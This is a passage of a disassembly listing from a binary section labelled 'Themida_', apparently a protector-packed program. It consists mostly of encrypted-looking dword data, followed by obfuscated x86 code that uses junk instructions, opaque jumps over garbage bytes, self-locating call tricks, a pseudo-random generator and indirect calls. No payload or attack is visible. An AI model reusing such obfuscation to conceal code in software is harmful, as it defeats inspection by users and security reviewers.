3256F5BEh, 530EBAB1h, 525A284Eh, 0D0D34730h dd 0CD3746E5h, 3D36A3C4h, 3256D73Dh, 0DB378AB1h, 325675BAh dd 1811B196h, 62DD0EDEh, 535E02F5h, 1FBEABE1h, 0CE56ABB8h dd 0B75915BAh, 3256EA83h, 32566558h, 0F6C1C6B1h, 0B137A9B6h dd 0AEFA16FAh, 5FE4478Bh, 3D5120A7h, 3256DA30h, 325C03B1h dd 0DA975B1h, 0FD662B2h, 6FF4A688h, 32568558h, 0F5D5AFB1h dd 325D42A5h, 723ED5B1h, 0B8B1E3F3h, 75773EDBh, 0CD045321h dd 3FBFA24Eh, 8B56AEB1h, 0A05407C8h, 0B935A615h, 1806C471h dd 0CEAAAF38h, 0CE5A004Eh, 3A23454Dh, 3246B4D1h, 0E6F2AEB1h dd 0F2691149h, 0A0E6C7F4h, 8581E38Bh, 0C1DC881Ch, 52618AD0h dd 39BE723Ah, 0AA565DB1h, 86861C54h, 7C9AD2E0h, 690467F9h dd 0B7BEB4EAh, 5256EAB9h, 0F4A3409h, 0D9D7DCE4h, 39372583h dd 2CD2A171h, 0CB5657B1h, 32552A58h, 3CBFB5B1h, 3256EAB1h dd 0DF037714h, 0AB5FF6D1h, 0AE4337A5h, 0FAE9A1FCh, 0CE13DCD0h dd 32452ABEh, 0B659D5B1h, 3256EABCh, 32567D58h, 0F1DBD7B1h dd 1B68A41Dh, 3D519769h, 32551233h, 325042B1h, 9E6DD5B1h dd 0A82E4000h, 0CEAA304Eh, 324E31BEh, 21BF5DB1h, 0A156AEB1h dd 5C201CB0h, 0A404AEAFh, 30712263h, 3E478E7Eh, 4DD5B570h dd 0B659BAB5h, 32565D99h, 3E292D44h, 2FD258B1h, 0DB56ABB1h dd 3256D5BAh, 3799C3CEh, 0BF042738h, 0DB0B4133h, 32565DE2h dd 54A41FD1h, 534AC90Bh, 0CDA95409h, 32533C4Eh, 0A7F5EAB1h dd 8BF34D9Dh, 3256BAB4h, 3250DCBEh, 5436AEB1h, 534F6D08h dd 0BE590042h, 3256D5BBh, 8DBD6BD1h, 0B801348Dh, 3CBFDB62h dd 4C565DB1h, 7BD3D290h, 0B1322648h, 0E83FB3EDh, 0CC943C6Ch dd 0B1A3154Eh, 3D5365CEh, 32562135h, 4DD5A1B1h, 0B759A8A1h dd 32565778h, 0F6D713D1h, 8A30E6C4h, 0CE37BCDCh, 2ADD7AF0h dd 0DB56BAB1h, 32565DA2h, 0FE2ADC07h, 0F7C25F06h, 95707E4Bh dd 3BD124C9h, 3D920FC3h, 32566F3Bh, 0B330DAB1h, 0DBBC2168h dd 3256AEBFh, 66F22C70h, 4C67C01Fh, 766EB038h, 0B937E4E5h dd 26BF71F6h, 0DE56BAB1h, 2C2A8FDh, 0A877DAE9h, 0D40C0BFh dd 0CA222AA1h, 0B9D96C57h, 0B959E6EEh, 325675B0h, 33225348h dd 0B9365DB1h, 0BB982F46h, 53013A1Ah, 3256A058h, 0DA88B1B1h dd 3616700Ah, 0E1137434h, 0CB52FD3Ah, 0CA5A023Ah, 32579A58h dd 0FADD37B1h, 3256A158h, 5CB4A0B1h, 0ED439563h, 53F1BA6Ah dd 3CD6B5D1h, 0DA565DB1h, 3256AEB9h, 0F8F27627h, 7CD70111h dd 0F0E9DAE9h, 361161D0h dd 0F8DD13D1h, 0D316E80Bh, 20BF3CF0h, 0AC56AEB1h, 6B96D419h dd 0AE9BC5h, 82E450E6h, 2D903109h, 3E09FE2Dh, 3A098148h dd 32D6D8BEh, 60AFAEB1h, 325AD5BEh, 5436ABB1h, 1C632730h dd 90DB9409h, 65DD14A3h, 19AA42B5h, 31AF4DE4h, 0DB36BAE4h dd 325657B6h, 0BA76F1F2h, 3D60F107h, 0B937150Eh, 0BD5979EEh dd 3256BAA4h, 32564D58h, 61CA3DB1h, 0DB241297h, 0C44F165Fh dd 2EB1EE93h, 0C78CC185h, 3257F3BEh, 0B1AFBAB1h, 23BF585Ah dd 4056AEB1h, 0EEFAAFBBh, 3FC541ECh, 0E04124D9h, 0CC1AB5BFh dd 76BF8CEBh, 3D56BAB1h, 32565C36h, 75DD5BB1h, 37BF37B5h dd 1E56ABB1h, 3C9EF84h, 538E55BEh, 0CA5A2A3Ah, 0CA52E59Ah dd 0CB53B632h, 32324B2h, 0B55951A5h, 3256ABA2h, 3256DB58h dd 79591FB1h, 5BCA6465h, 538A0AE7h, 0B18E55EAh, 3D55BECEh dd 32564734h, 521753B1h, 3256D258h, 500C1FB1h, 77C2FDEFh dd 3D8F91D0h, 32564C3Ch, 39DDA1B1h, 0DB5657B1h, 3256ABB7h dd 0FE5AD3EDh, 6EDF2B96h, 523674B0h, 23BFDBD1h, 60565DB1h dd 65132356h, 91F77ADFh, 9B52CFA5h, 0B3BEC196h, 0D5A253D0h dd 0DB370706h, 3256BAB4h, 0C0166510h, 0CDA916F4h, 0BA59A84Eh dd 3256ABBDh, 3256D258h, 8B9EEB1h, 12756E50h, 3256BF08h dd 23BF3DB1h, 0E356AEB1h, 0A6EFEEEh, 3653EB10h, 7A142C19h dd 9B94C061h, 99A5144Dh, 32473CBEh, 3EBF5DB1h, 6056AEB1h dd 0E04ECD1h, 0C39B8BF4h, 0DB680B73h, 0CDA916F1h, 3242FABEh dd 3DBFBAB1h, 19565DB1h, 87A8C9E5h, 0CE9B5AA7h, 688CFF51h dd 3D37EA80h, 3256EC3Fh, 533615B1h, 3D37E3E2h, 3256453Fh dd 324547B1h, 643257B1h, 0ABD63F74h, 889753BCh, 9CDE2200h dd 9ED91CA6h, 0F0AE7314h, 67AA5DA1h, 355A16D1h, 0F1D712A9h dd 328F795Ah, 0DBBA5ED0h, 3256EABBh, 4CFC727Bh, 0C05875FDh dd 0B159E1E2h, 3256AEB6h, 3257DCBEh, 0B1AEABB1h, 3BBF2975h dd 0A156EAB1h, 8DBF3026h, 0A203BD2Ah, 0DB013DD1h, 3256AEBDh dd 85BEEDBFh, 32689505h, 0D3E58761h, 31DDE5E9h, 545675B1h dd 0DA376B3Ah, 32565DB1h, 4EBC2FEBh, 0DB504D74h, 3256ABBEh dd 0C1FFCD2Dh, 8EB171EEh, 0E5DEB24Ah, 0C79298B8h, 0B10DE73Ah dd 1AEA8ABh, 0DBAF3778h, 3256ABA3h, 36E7EB60h, 0D04EA515h dd 3B78D682h, 0ACF096CAh, 0B13734B2h, 0B659AE8Eh, 3256546Ch dd 3256A758h, 0C0DEAB1h, 0BBE45E2Ah, 64FAE70h, 3D513168h dd 32565539h, 30D4A1B1h, 525657B1h, 3ADAA4D0h, 3D56D5B1h dd 3256E830h, 0CD3715B1h, 0DA36B6C4h, 32565DA3h, 3012109Ch dd 3E567D4Fh, 9984C937h, 3FDAFEB3h, 0FCDDFEEAh, 32539DEAh dd 54E7BAB1h, 64789693h, 0CD37F4E8h, 0B5595FC4h, 3256ABB0h dd 0DAAA8544h, 3256E915h, 64DECAD1h, 0B330DCE4h, 53607157h dd 0B7596EBAh, 325657F9h, 3256A158h, 0F7A97EB1h, 63CE2802h dd 0DB5A43D0h, 3256BABAh, 0E724C4CEh, 0E0116DDFh, 0B9B496AFh dd 21ECCBB6h, 5418CD1Eh, 0DB37283Ah, 32567588h, 3256A958h dd 9725D8B1h, 0ADE89822h, 0FD5E4FE4h, 6E39465Bh, 2A32ADF5h dd 52422D32h, 32567C58h, 0AF8F23B1h, 0BF11A98Ch, 0FCDD3594h dd 0CD43BED0h, 0B859544Eh, 3256D5B0h, 0CE136344h, 540F25D1h dd 531D470Ah, 3D5A284Eh, 3256A433h, 0F8DD37B1h, 1BC86430h dd 0CD37AA89h, 0CDAAE2C4h, 0CFBE8086h, 5256BAB3h, 3250DEBEh dd 0BE59AEB1h, 325657B1h, 3937723Ah, 13D2DA71h, 0C756EAB1h dd 3254D958h, 27D4B5B1h, 52565DB1h, 3256A959h, 0E29144B1h dd 2C1AD402h, 32DCDAE8h, 5356EAB1h, 52AA303Ah, 3256AA58h dd 4BEEEB1h, 0A8597004h, 1525C8DDh, 0E689633Fh, 356FB444h dd 303968BEh, 543675B1h, 8559483Ah, 77A93C41h, 325E474Dh dd 237357B1h, 91DE88F2h, 4DD508DCh, 0B659EAB5h, 325675F3h dd 32453EBEh, 3CBF5DB1h, 3456AEB1h, 0A2942C46h, 0C71EB6ACh dd 0CC700F29h, 3E2969D7h, 2DD27AB1h, 5256BAB1h, 3254D6BEh dd 91E1AEB1h, 53EAB431h, 3256F258h, 0B859B5B1h, 3256EAB1h dd 0DFBDF4D7h, 0CDEEDBC1h, 0DBA9A24Eh, 3256AEBEh, 5CDFFEAFh dd 3A173CDEh, 2A5B9FFh, 8B338DD0h, 325675B4h, 3256A858h dd 4D521FB1h, 0C2BC46E6h, 616E0D9Ah, 0E1C81D93h, 0C129BB28h dd 0D7BF1F1Ah, 0DBA98A4Fh, 3256BABBh, 0E4347F76h, 0BCCF1D3Bh dd 4DD55BBBh, 0B659AEA1h, 3256D5C6h, 3256FE58h, 0AE9765B1h dd 1BABE88h, 5D3B48B4h, 22AFD86Dh, 0A66BAA8Ah, 22292809h dd 4AD3DAB7h, 0C756EAB1h, 325E9CF0h, 0C8E2BAB1h, 246B6ABFh dd 75DDFA74h, 35D058B5h, 5256ABB1h, 9145E40Eh, 6DDD8BE7h dd 26DC7ABDh, 0DB56BAB1h, 32565DBEh, 0BC72E081h, 0B4B5B35Eh dd 0DB48C1FEh, 3DB5E613h, 3256E633h, 34D47AB1h, 3D56BAB1h dd 32565D31h, 32BD47B1h, 0B9AA57B1h, 0B9AFAFF6h, 0DBA3D9EEh dd 3256EA0Dh, 325F9DD1h, 0C862BAB1h, 0DB31383Fh, 88D00038h dd 61FDA2F2h, 0B9375EEEh, 3CBFD1F6h, 0D856EAB1h, 76B40E66h dd 971C5387h, 0F7F4075h, 3E0925D9h, 81E831D1h, 19375E8Fh dd 5436D1EEh, 1F860030h, 32479CE1h, 53BBBAB1h, 86F327CBh dd 9AD4E665h, 2AC28A46h, 6B85C680h, 37BD56D0h, 0E8D6BAD1h dd 0BF592E15h, 3256BAB5h, 28CBE4D7h, 3BD4A1D0h, 525657B1h dd 325628BEh, 53AAD5B1h, 31469532h, 3260F0BEh, 0B459BAB1h dd 32565DAAh, 324747D1h, 0ADB457B1h, 0D93EECD8h, 0BA836918h dd 27368664h, 5444F7EBh, 7337723Ah, 3258D9BEh, 3BBFAEB1h dd 0EA5657B1h, 0F2CD810Ah, 84CAFB0h, 0B759339Ah, 325675BDh dd 325036BEh, 0B3595DB1h, 3256AEB1h, 32565F58h, 27AAFBB1h dd 1ADBA52Fh, 330A6327h, 0CDEE89B0h, 3DA9454Eh, 32565A31h dd 33DBA1B1h, 0CA5657B1h, 3256A658h, 0DD4658B1h, 1D977F27h dd 74A3C35Ah, 37EFA3E3h, 0C7565DB1h, 0B9590542h, 325657B6h dd 325728BEh, 0DBAAD5B1h, 3256EAB4h, 0AC346F23h, 0CF485396h dd 0BF59A24Eh, 3256AEB0h, 0CA363649h, 3256B958h, 771C5CB1h dd 347A319Fh, 0F91238EDh, 0F04DC089h, 53C9EE41h, 3A945678h dd 3258BEB1h, 0B658ABB1h, 0B7B76944h, 1EA2CE6Dh, 2E4ECCB8h dd 325D53E4h, 6D955DB1h, 342EE85Ah, 930639A1h, 0DA06CBD9h dd 3256D5B7h, 743CAD7Ah, 690D1CA8h, 3256AB58h, 3D4630B1h dd 0E7A13E8Dh, 4E4763E0h, 90F4B5A4h, 0B9371F4Fh, 4EE38A5Dh dd 0CE92F6D0h, 523743D1h, 0F5E952D1h, 0B9376C3Ah, 23BF5FF4h dd 8856ABB1h, 0AB2B241Fh, 0A8E8E151h, 306F0744h, 12A86290h dd 3250DFBEh, 6236AEB1h, 530801EFh, 3D5AEE8Ah, 32568333h dd 324603B1h, 0BEEE75B1h, 19C17359h, 23B20832h, 7D993D3Dh dd 776DE5ACh, 0AD1A4A1h, 5256D5B1h, 325468BEh, 680075B1h dd 0F537483Ah, 3256A1F4h, 3FBFAEB1h, 0E75657B1h, 6A423C3Dh dd 68F473F9h, 0C577698h, 32566958h, 3ADFB5B1h, 3D565DB1h dd 3256AC31h, 0F53737B1h, 325757F4h, 0DBA3D5B1h, 3256EAB0h dd 0BC591448h, 3256BABDh, 3250DDBEh, 0B559AEB1h, 325657B1h dd 0DBAAEE3Ah, 3256D5B9h, 79870A2Eh, 0FC714617h, 62EFDCD1h dd 3242B5AEh, 692AAEB1h, 0BCE21074h, 5BC6254Eh, 0BB09A4B3h dd 0AADB8AC5h, 530F4A73h, 3AD5B578h, 3D565DB1h, 3256AC34h dd 0C73737B1h, 0DB56A773h, 3256D5BEh, 3E78B648h, 0F99670C5h dd 27488425h, 6752B4D9h, 0F3D75BD1h, 402342FCh, 52BA20D0h dd 254F6EE2h, 530DB1D9h dd 0CEAAB132h, 32BE46D1h, 68565DB1h, 0F96D4430h, 3BBF51ABh dd 0C556ABB1h, 3914AF28h, 0FA882EE1h, 32567358h, 862CB9B1h dd 0C7F71082h, 3EBF6782h, 0B45657B1h, 34D948CAh, 75E068BCh dd 10E241Eh, 6FDF8C6Ah, 0DB04DA4Dh, 32565DBDh, 935417F2h dd 0DA475F1Bh, 5B6DF765h, 53835FE8h, 0B10D503Ah, 3BBF73ABh dd 4F56BAB1h, 117CAE4Fh, 0CD961710h, 3D566832h, 32545835h dd 39BF2CB1h, 5656EAB1h, 6B6F8E1Fh, 47B468B2h, 0DD58848h dd 77D3A14Eh, 3D5657B1h, 3256BE35h, 32463CB1h, 0E000EAB1h dd 0CE094B06h, 595DE12Bh, 830DC5ADh, 3CBFBD0Eh, 0DC5657B1h dd 0DE7EB81Ch, 1B34F2A6h, 60F01205h, 2691F608h, 325E36BEh dd 0B9365DB1h, 0B9ECC849h, 0ABBF36D8h, 0C7A9544Eh, 3252AA32h dd 323E6EBEh, 0B85975B1h, 3256BAABh, 0DA94D6D1h, 3256AEA1h dd 4CF689DDh, 33834CDBh, 0B363A884h, 2FAF8716h, 0B45914EEh dd 3256BAA0h, 32565158h, 67E406B1h, 27A427ACh, 0BDC6EF05h dd 3E29565Ch, 15D2E5B1h, 3D5675B1h, 3256BB37h, 0DBA3A1B1h dd 3256AEE9h, 3242DDBEh, 3DBFABB1h, 7756D5B1h, 49418A2Fh dd 5397B93h, 1435155h, 77A9476Dh, 3247474Dh, 0AEF757B1h dd 0F8C25CA8h, 4F58F501h, 0FCF57971h, 0B1544035h, 3D36AE76h dd 0C9E28C0Eh, 0CCA847D0h, 23BFA84Eh, 56ABB1h, 5B8F5862h dd 0A341EC78h, 32D51D1Eh, 0D2959B1Eh, 37462232h, 32362ABEh dd 0B1AF57B1h, 3D50BBCEh, 32567034h, 325003B1h, 136275B1h dd 0E5F49F6Bh, 32565558h, 4BD541B1h, 0D214F69Bh, 0B459EAEBh dd 3256D5B0h, 36116144h, 3247F5BEh, 3EBFBAB1h, 8E565DB1h dd 0B0ED1E7Ah, 77EF5BD8h, 0B9B0B66Ah, 0BE59D9EEh, 3256EAB0h dd 32AF9C49h, 35BFBAB1h, 44565DB1h, 0D680DA36h, 75DDC429h dd 325042B5h, 7979D5B1h, 0B3610805h, 3E09FE44h, 324253D1h dd 8E9F5DB1h, 34A41DC4h, 0DE80FBFBh, 0E01EAF94h, 80C3F438h dd 0EAD72811h, 37B68E32h, 32F953D0h, 0B5595DB1h, 3256AEA3h dd 32D358D1h, 0DB56ABB1h, 3256D5B4h, 92CE614Ah, 75DD14D9h dd 2FDCB5B5h, 3D565DB1h, 3256B938h, 3244BEB1h, 5C7BABB1h dd 813850FAh, 0C453508Ch, 10A503B7h, 67875827h, 3D5A023Ah dd 3256BA36h, 8D5937B1h, 325C4271h, 0F66ED5B1h, 38380037h dd 65A88C5Dh, 360991D0h, 32565058h, 88270B1h, 2285B0A9h dd 0B55A04C4h, 0D9D51C8Bh, 33DAE5B4h, 0CB5675B1h, 3146C532h dd 327DD8BEh, 0B159AEB1h, 325657BFh, 3256A258h, 0E5FB7FB1h dd 0A27AA765h, 35BFB276h, 0C756BAB1h, 2F1E689Bh, 52174774h dd 549EE0BEh, 23D64230h, 528FFED0h, 0BB371A3Ah, 0C75774EDh dd 0C9E1B5D1h, 3257DEBEh, 53AFAEB1h, 0CDA9A809h, 2AD7A44Eh dd 0DB56D5B1h, 3256EAA2h, 562EA66h, 187C7222h, 0C9DE96C5h dd 0A05D9AB2h, 8B0A8482h, 3256ABB4h, 3256C158h, 0F37A06B1h dd 7B6E65D1h, 0A4662847h, 0DCA9F351h, 96A4D74Ah, 0DBFDA4DCh dd 3256ABA3h, 7019BB18h, 0C8CEFF7Fh, 373C519Bh, 0F9316D97h dd 13BF9F8Ch, 0C7A9514Ch, 325CBED1h, 78CEABB1h, 35B312BFh dd 0F01103Eh, 3253F0BEh, 0B330BAB1h, 5353E572h, 3ED1A1D0h dd 3D5657B1h, 3256AD33h, 32D7DAB1h, 0B956EAB1h, 0FBA389F4h dd 32593EBEh, 38BF5DB1h, 4856AEB1h, 3D9B4997h, 134819A2h dd 3EDDDAADh, 3D56EAB1h, 32567335h, 32DEB5B1h, 0F1565DB1h dd 325B21BEh, 3ABF57B1h, 8456ABB1h, 0F5B846ACh, 628E9BB4h dd 61A32444h, 325C37BEh, 37BF5DB1h, 7656AEB1h, 3EA55F1Dh dd 3256AB59h, 0D8D78FB1h, 344C25B8h, 0B93015D1h, 32DCB561h dd 53565DB1h, 0B759CED0h, 325657B7h, 0A63D4130h, 34BEFE00h dd 7956EAB1h, 0AA6621D7h, 0BF37E0BEh, 28D2062Bh, 56EE57B7h dd 3D5657B1h, 3256A33Bh, 30DBDAB1h, 5256EAB1h, 32469CD0h dd 0ECC8BAB1h, 0B133BF13h, 5CC6139Eh, 90EDC761h, 0C1BE932Ch dd 5256D5B5h, 0DE886BD7h, 0FEF13E7h, 39DDDBBBh, 3245D1BEh dd 3CBFAEB1h, 0A75657B1h, 600132FBh, 0BB132231h, 0F8C55323h dd 0CE974E74h, 32563D58h, 33D952B1h, 0CB56AEB1h, 325ED0BEh dd 0B559ABB1h, 3256D5B3h, 79558BD1h, 20BF15B5h, 3156BAB1h dd 1E67F467h, 39C10725h, 505DB3E6h, 5928A8D4h, 0F36DB490h dd 32D668BEh, 3D3675B1h, 54076006h, 530CAF3Ah, 0CE46E5B2h dd 0B059968Ah, 3256AB98h, 325751BEh, 0DBAAEAB1h, 32567597h dd 26BFE8D1h, 69565DB1h, 5D02DDCFh, 0FB735CECh, 0FB923A9Bh dd 36C73FDAh, 68991135h, 323B9CD0h, 8636BAB1h, 56BF3CA0h dd 0CA56AEB1h, 5A17CD3Ch, 0B859ADAAh, 3256D5A1h, 3256E158h dd 0BDDB14B1h, 925B81B1h, 1B92AC66h, 0B2597D4Eh, 325657B9h dd 325428BEh, 5336D5B1h, 3256D858h, 0A8DB89B1h, 344DD1D6h dd 0F8EC0DD1h, 6D5B8E07h, 9ADB340Ah, 0E1A9CAFAh, 325A57BEh dd 0BB59EAB1h, 325675B7h, 325637BEh, 0B9365DB1h, 0C2D7C843h dd 6937DA1Dh, 7B7A12D1h, 0C1D6FE52h, 3D0F8B60h, 32567A36h dd 325C53B1h, 0D68A5DB1h, 0C240C08Fh, 43260516h, 8AE6CBE9h dd 0DB95B448h, 3256EAB9h, 45D0D40h, 7C4C0CB7h, 0DEDDA8E4h dd 32564644h, 0B30C57B1h, 2886695Bh, 32503CB7h, 6A1AEAB1h dd 37A475A1h, 32403EBEh, 23BF5DB1h, 0F756AEB1h, 96A3F93h dd 0AA735338h, 499AD55Bh, 0CBEA4730h, 32599CD1h, 0E93CBAB1h dd 566462D9h, 0F03FCFBh, 87FBA74Dh, 69EC26B2h, 0DB50CF35h dd 3256EABAh, 0FEC0B1F9h, 0CEE4A380h, 3D3C714Eh, 3256B635h dd 3245BEB1h, 227CABB1h, 4247533h, 8BEDB72Eh, 5AAA60FBh dd 424115F7h, 3A13D63Dh, 3256A158h, 0EE841AB1h, 0BCD3003Ah dd 0C4CA9DCFh, 901530FEh, 3DBF7238h, 5B56BAB1h, 0CBB19335h dd 8E475A46h, 5A329F4Ch, 77DD9B4Fh, 0DDDCB5BDh, 0C54DEA09h dd 75DF14EFh, 8D30DAB5h, 0B759AE46h, 3256AEA5h, 32565858h dd 1853CDB1h, 58773114h, 7390DF21h, 35D9C98h, 221331D0h dd 75DFA548h, 324547BDh, 0B1C257B1h, 5A746E3Dh, 0CADFEE8Dh dd 32BC7294h, 9FD70E7Dh, 2613310Dh, 32565358h, 0FD4757B1h dd 43D1BE4Ch, 40A0429Bh, 0BB90810Dh, 53AEFAF6h, 0E2E97AD1h dd 6C491E0Fh, 0DB9F3CD4h, 3256AEBCh, 97FDBCE3h, 2CECE7EAh dd 639CC208h, 85598A72h, 0E3D71347h, 0F037FBBBh, 0B5595DA1h dd 3256AEABh, 3245BED1h, 6AF0ABB1h, 7EBA1A2Bh, 6A667E44h dd 3CCC54C5h, 2269AC26h, 0DB363C30h, 3256AEBDh, 0EAA1EA65h dd 0F614F6B5h, 7F58571h, 1B7A52D1h, 0F4371793h, 265EF334h dd 5AAE1AB7h, 9A41DDABh, 32565D58h, 0D142CBB1h, 0D3171B87h dd 0CD9099A1h, 267A1004h, 20BF43B7h, 52565DB1h, 32128A1Dh dd 9558BD17h, 98EB32A1h, 0B7997CADh, 0CCD3674Bh, 0CA5062C9h dd 22BF6A4Eh, 0C7565DB1h, 209827F8h, 3DA50E78h, 3AE822E8h dd 600DCF14h, 3256E358h, 0A889FBB1h, 3C5E3BEDh, 0B8DB3424h dd 344C2893h, 1EE31D1h, 0FDE9A431h, 543684D0h, 0B24CD308h dd 0DB37E46Bh, 3256BAB8h, 0A586F669h, 4F511D49h, 5286A86Eh dd 549C14BEh, 6837253Ah, 53D85CD1h, 0B474F73Ch, 3DA3BCABh dd 0DB5A1D06h, 3256AEA3h, 0EB52C308h, 0E8DAA9E3h, 0DEE61313h dd 0A4737C8Eh, 0B9AEE332h, 0B930DA69h, 32D6524Fh, 5356AEB1h dd 325AD4BEh, 0B059ABB1h, 3256D5B7h, 32566CBEh, 0DB0475B1h dd 3256BAA2h, 0EDDD4DD8h, 19AC5500h, 0F06DC855h, 52F44F61h dd 3D2C7F9Ah, 325E0380h dd 3A9F75B1h, 9E8E75F7h, 0CB0C930Dh, 54366DB2h, 0B9DEAD0Ah dd 0B959CA6Eh, 3256D5BDh, 3256ED58h, 0E2F548B1h, 87FEEA4Eh dd 20A7DF38h, 53AFA8A5h, 32565958h, 57B698B1h, 78AC6D28h dd 37337ED9h, 0F1435BE6h, 890F514Dh, 14h, 0FE9h, 0C89F3B00h dd 2F8E64B6h, 0DB5F335Eh, 28E1E94Fh, 108C0F52h, 0E9000000h dd 0Bh, 3F66E4C4h, 4057C720h, 0E840701Bh, 0 ; --------------------------------------------------------------------------- pop edx sub edx, 61AD3ACh cld pusha jnb loc_5EAF5A movsx ecx, bx loc_5EAF5A: ; CODE XREF: Themida_:005EAF51j jns loc_5EAF62 push esi pop esi loc_5EAF62: ; CODE XREF: Themida_:loc_5EAF5Aj popa push edx jmp loc_5EAF71 ; --------------------------------------------------------------------------- pop edi retf ; --------------------------------------------------------------------------- push ebp mov esp, 394290C1h loc_5EAF71: ; CODE XREF: Themida_:005EAF64j mov eax, [edx+61412F1h] jmp loc_5EAF85 ; --------------------------------------------------------------------------- dd 5ABC386Dh, 0E80BBA83h ; --------------------------------------------------------------------------- pop esi loc_5EAF85: ; CODE XREF: Themida_:005EAF77j mov ecx, 41C64E6Dh jns loc_5EAF91 clc loc_5EAF91: ; CODE XREF: Themida_:005EAF8Aj mul ecx cmc jmp loc_5EAFA1 ; --------------------------------------------------------------------------- db 2Bh, 1Fh, 0EBh dd 0F7C48786h db 0D9h ; --------------------------------------------------------------------------- loc_5EAFA1: ; CODE XREF: Themida_:005EAF94j pop edx cmc add eax, 3039h cmc and eax, 7FFFFFFFh jmp loc_5EAFBB ; --------------------------------------------------------------------------- db 73h ; --------------------------------------------------------------------------- mov ebx, 15966F67h xor bl, dl loc_5EAFBB: ; CODE XREF: Themida_:005EAFAEj mov [edx+61412F1h], eax jno loc_5EAFCF jno loc_5EAFCF pusha popa loc_5EAFCF: ; CODE XREF: Themida_:005EAFC1j ; Themida_:005EAFC7j pop edx clc pop ecx jmp locret_5EAFE9 ; --------------------------------------------------------------------------- db 13h dd 4EAFC768h, 0AD3BE069h, 0BD22589Eh, 1AAA4B25h db 8Ah ; --------------------------------------------------------------------------- locret_5EAFE9: ; CODE XREF: Themida_:005EAFD2j retn ; --------------------------------------------------------------------------- jmp loc_5EAFFA ; --------------------------------------------------------------------------- mov esp, ebp sub dword ptr [edi+35C2FE6Ah], 0FFFFFFF0h mov word ptr [eax], fs loc_5EAFFA: ; CODE XREF: Themida_:005EAFEAj push ecx jmp loc_5EB005 ; --------------------------------------------------------------------------- dd 0FB549F37h db 7Fh ; --------------------------------------------------------------------------- loc_5EB005: ; CODE XREF: Themida_:005EAFFBj push edx pusha sbb dl, 31h mov cx, 50BFh popa call $+5 pop edx sub edx, 61AD478h jnp loc_5EB022 stc loc_5EB022: ; CODE XREF: Themida_:005EB01Bj pusha pusha push ecx pop ebx mov ecx, eax popa and di, 41B2h popa jz loc_5EB03B pusha mov bx, 726Eh popa loc_5EB03B: ; CODE XREF: Themida_:005EB02Fj mov ecx, eax cmc call near ptr dword_5EAECC+45h stc xor edx, edx jg loc_5EB04D clc loc_5EB04D: ; CODE XREF: Themida_:005EB046j div ecx jmp loc_5EB05E ; --------------------------------------------------------------------------- dd 66048BB7h, 204A22DFh ; --------------------------------------------------------------------------- sbb ch, ch loc_5EB05E: ; CODE XREF: Themida_:005EB04Fj mov eax, edx stc pop edx jmp loc_5EB072 ; --------------------------------------------------------------------------- db 0B9h dd 62A959EFh, 9C76994Bh db 0E4h, 0FEh ; --------------------------------------------------------------------------- loc_5EB072: ; CODE XREF: Themida_:005EB062j pop ecx pusha jg $+6 pusha pusha popa popa popa retn ; --------------------------------------------------------------------------- jmp loc_5EB08C ; --------------------------------------------------------------------------- db 0E0h, 0FAh, 0A2h ; --------------------------------------------------------------------------- cmpsb movsb rol dword ptr [edi], 1 loc_5EB08C: ; CODE XREF: Themida_:005EB080j mov eax, eax pusha cmc call near ptr sub_5EB0A4 inc eax ; --------------------------------------------------------------------------- dw 0CEC4h dd 4182A327h, 7A6574Dh, 5E2190F6h ; =============== S U B R O U T I N E ======================================= sub_5EB0A4 proc far ; CODE XREF: Themida_:005EB090p clc pop esi popa mov eax, eax pusha jnp loc_5EB0B2 push esi pop ecx loc_5EB0B2: ; CODE XREF: sub_5EB0A4+6j mov cx, dx popa lea eax, [ebp+61A9BD3h] jmp loc_5EB0CF ; --------------------------------------------------------------------------- db 5Ah, 4Eh, 2Eh dd 83A5230Eh, 9A56C3EFh db 9Dh, 0E0h, 2Fh ; --------------------------------------------------------------------------- loc_5EB0CF: ; CODE XREF: sub_5EB0A4+18j call eax jmp loc_5EB0E0 ; --------------------------------------------------------------------------- pop esi fldenv byte ptr [ebx+ebp*2+47h] retf 4BE1h ; --------------------------------------------------------------------------- push ss dec ebx loc_5EB0E0: ; CODE XREF: sub_5EB0A4+2Dj mov ax, cx pusha mov bl, 74h mov ebx, 6929F600h popa lea eax, [ebp+61AD375h] jmp loc_5EB107 ; --------------------------------------------------------------------------- cmpsb jecxz short loc_5EB142 retf ; --------------------------------------------------------------------------- db 1Ch dd 7840FEF8h, 0FB67C770h ; --------------------------------------------------------------------------- add dh, 26h loc_5EB107: ; CODE XREF: sub_5EB0A4+4Ej mov [ebp+614108Dh], eax jb loc_5EB114 cmc loc_5EB114: ; CODE XREF: sub_5EB0A4+69j lea eax, [ebp+61AD45Eh] jmp loc_5EB126 ; --------------------------------------------------------------------------- mov cl, 10h mov ds:0E6733075h, eax loc_5EB126: ; CODE XREF: sub_5EB0A4+76j mov [ebp+61415F9h], eax cmc mov eax, 0 jmp loc_5EB148 ; --------------------------------------------------------------------------- db 0E2h dd 9ACB3AFh, 12E86F39h db 53h, 0DCh ; --------------------------------------------------------------------------- loc_5EB142: ; CODE XREF: sub_5EB0A4+54j cmp dl, [eax+1Dh] pop ebp and [ecx], esp loc_5EB148: ; CODE XREF: sub_5EB0A4+8Ej or eax, eax jz loc_5EB24F jb loc_5EB15D ja loc_5EB15D stc loc_5EB15D: ; CODE XREF: sub_5EB0A4+ACj ; sub_5EB0A4+B2j jo loc_5EB164 clc loc_5EB164: ; CODE XREF: sub_5EB0A4:loc_5EB15Dj mov byte ptr [ebp+6140849h], 56h clc push 0A9C530DFh clc push dword ptr [ebp+6142C65h] cmc lea eax, [ebp+61778FEh] jmp loc_5EB195 ; --------------------------------------------------------------------------- dd 1F2E012Ch, 0C73346B4h, 0EA8A67B0h, 0B6B3799Ah db 2Dh ; --------------------------------------------------------------------------- loc_5EB195: ; CODE XREF: sub_5EB0A4+DBj jmp loc_5EB1AD ; --------------------------------------------------------------------------- retf 0AE62h ; --------------------------------------------------------------------------- db 69h, 0, 15h dd 0C96785FAh, 92FC9744h, 7BBD70EEh db 0B0h ; --------------------------------------------------------------------------- loc_5EB1AD: ; CODE XREF: sub_5EB0A4:loc_5EB195j call eax jmp loc_5EB1C1 ; --------------------------------------------------------------------------- dd 0C59A864h, 96B35909h, 0D96E8B71h ; --------------------------------------------------------------------------- xchg eax, esp loc_5EB1C1: ; CODE XREF: sub_5EB0A4+10Bj push eax pusha mov di, 22DCh popa lea ecx, [ebp+6142641h] cmc push ecx jmp loc_5EB1DC ; --------------------------------------------------------------------------- mov ebx, 0C68C6E94h or dh, ah loc_5EB1DC: ; CODE XREF: sub_5EB0A4+12Cj push 4 jmp loc_5EB1F5 ; 